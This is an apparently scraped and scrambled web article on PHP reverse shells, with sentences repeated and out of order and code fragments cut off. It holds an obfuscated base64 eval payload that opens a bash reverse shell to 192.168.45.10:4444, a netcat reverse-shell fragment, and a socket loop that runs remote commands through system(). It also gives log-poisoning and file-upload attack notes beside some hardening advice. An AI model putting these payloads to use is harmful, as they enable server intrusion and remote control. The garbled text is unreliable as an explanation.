A vulnerability where an application includes local files based on user input. Testers can use this to execute uploaded PHP payloads or inject code into server log files (log poisoning).
<?php eval(base64_decode('c3lzdGVtKCJiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNDUuMTAvNDQ0NCAwPiYxJicpOw==')); ?>
A reverse shell bypasses this restriction by reversing the direction of the connection:
The mechanics of a PHP reverse shell follow a straightforward three-step process: Reverse Shell Php
disable_functions = exec, passthru, shell_exec, system, proc_open, popen, curl_exec, curl_multi_exec, parse_ini_file, show_source Use code with caution.
The attacker exploits a vulnerability in a web application—such as Unrestricted File Upload, Local File Inclusion (LFI), or Remote Code Execution (RCE)—to place a malicious PHP script onto the web server.
A reverse shell in PHP is a powerful technique used by penetration testers and security researchers to gain remote access to a server. Unlike a standard bind shell—where the target opens a port and waits for a connection—a reverse shell forces the target machine to initiate an outgoing connection to the attacker’s machine. This is highly effective because most firewalls are configured to block unsolicited incoming traffic but allow outgoing traffic. How a PHP Reverse Shell Works A vulnerability where an application includes local files
In the world of cybersecurity, few terms evoke as much tension as "Reverse Shell." For penetration testers (ethical hackers), it is a golden standard for gaining control over a remote server. For malicious actors, it is a primary tool for persistence and lateral movement. When you combine this technique with the world's most popular server-side scripting language—PHP—you get a potent, flexible, and often hard-to-detect backdoor.
Relying on system binaries like bash can fail if the server environment is hardened or running a minimal environment (like a Docker container). A more reliable approach uses native PHP socket functions ( fsockopen or socket_create ).
elseif (function_exists('system')) while ($cmd = fgets($sock)) ob_start(); system($cmd); fwrite($sock, ob_get_clean() . "\n"); The attacker exploits a vulnerability in a web
Only allow specific extensions (e.g., .jpg , .pdf ). Do not just block .php , as attackers can bypass this with .php5 , .phtml , or .phar .
&1|nc 10.10.10.10 4444 >/tmp/f"); ?> Use code with caution.
fclose($socket); proc_close($process);
The PHP script executes on the server, creates a socket connection to the attacker's listener, and duplicates the server's standard input, output, and error streams to that socket. The attacker is rewarded with a command prompt. Common PHP Reverse Shell Methods